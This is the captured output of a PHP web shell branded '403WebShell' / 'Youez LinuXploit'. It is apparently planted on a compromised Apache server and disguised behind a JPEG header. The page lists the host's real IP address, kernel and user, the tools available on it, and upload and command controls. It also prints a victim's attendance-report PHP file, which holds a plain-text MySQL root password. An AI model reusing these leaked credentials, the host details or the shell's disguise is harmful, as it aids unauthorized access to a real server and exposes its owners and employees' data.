����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 18.117.186.60
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/t/sae/appsae/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/t/sae/appsae/core/app/view/asist-view.php
		<?php
		// realizamos la conexión a la base de datos
		  $user = 'root'; 
		  $pass = 'Hues198020'; 
		  $host = 'localhost'; 
		  $db = 'sae'; 
		  $config = array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'UTF8'");
		  try
		  {
			  $conn = new PDO("mysql:host=$host;dbname=$db;", $user, $pass, $config);
		  }
		  catch(PDOException $e)
		  {
			  echo $e -> getMessage();
		  }
		  
		  // realizamos la consulta para obtener el mayor id insertado
		  $sql = "SELECT * FROM  valores ";
		  $query = $conn->prepare($sql);
		  $query->execute();
		  $row = $query->fetch();

		  // guardamos el valor obtenido, en este caso el mayor id insertado en una tabla
			

		?>
		
  <section class="content-header">
          <h1>Reporte de Asistencia General</h1>
          <ol class="breadcrumb">
            <li><a href="#"><i class="fa fa-dashboard"></i> Nomina</a></li>
            <li class="active">Asistencia</li>
          </ol>
		  
    </section>
	
<section class="content">

<div class="box box-primary">
  <div class="box-header">
    <h3 class="box-title">Ingresar las fechas para revisar reporte</h3>

  </div><!-- /.box-header -->
  <div class="box-body">		
			

		<div class="row">
			<div class="col-md-12">
				
				<a href="index.php?view=reportsEmp" class="btn btn-default"><i class='fa fa-check'></i> Asistencia/Entradas</a>
				<a href="index.php?view=reportsEmpS" class="btn btn-default"><i class='fa fa-circle'></i> Asistencias/Salidas</a>
				
					
						
				
		<form class="form-horizontal" id="loadlist" role="form">
		  <div class="form-group">
		   
		   
			
			
		   
			

		  </div>
		</form>

		<div id="data">
			<p class="alert alert-warning">Puedes filtrar para ver a un solo empleado en buscar.</p>
		</div>

			</div>
		</div>
					
		<html>  
		<head>  
		<TITLE>REGISTRO DE ASISTENCIA DE EMPLEADOS</TITLE>  
		</head>  

		<body> 
		<div class="box box-primary">
		<div class="box-body"> 
		<div align='center'>  
		  <table class="table table-bordered datatable table-hover">  
			<thead>
			<tr>  
			  <td width='150' style='font-weight: bold'>ID</td>  
			  <td width='150' style='font-weight: bold'>NOMBRE</td>  
			  <td width='150' style='font-weight: bold'>FECHA.</td>  
			  <td width='150' style='font-weight: bold'>TIPO REG</td>
			  <td width='150' style='font-weight: bold'></td>	
			</tr>  
			</thead>
		<?php  
		  

			foreach($row as $registro){  
		echo "  
			<tr>  
			  <td width='150'>".$registro['id']."</td>  
			  <td width='150'>".$registro['valor']."</td>  
			  <td width='150'>".$registro['tiempo']."</td>  
			  <td width='150'>".$registro['t_registro']."</td>
			  <td width='150'>
			  <a href='index.php?view=delsell&id=' class='btn btn-xs btn-danger'><i class='fa fa-trash'></i></a>
			  <a href='index.php?view=delsell&id=' class='btn btn-xs btn-primary'><i class='fa fa-check'></i>Ver</a>
			  </td>	

			</tr>  
		";  
		}    
		?>  
		   </table>  
		</div>  
		</div> 
		</div> 

</div>
</div>


</section>


</body>  

</html>			


Youez - 2016 - github.com/yon3zu
LinuXploit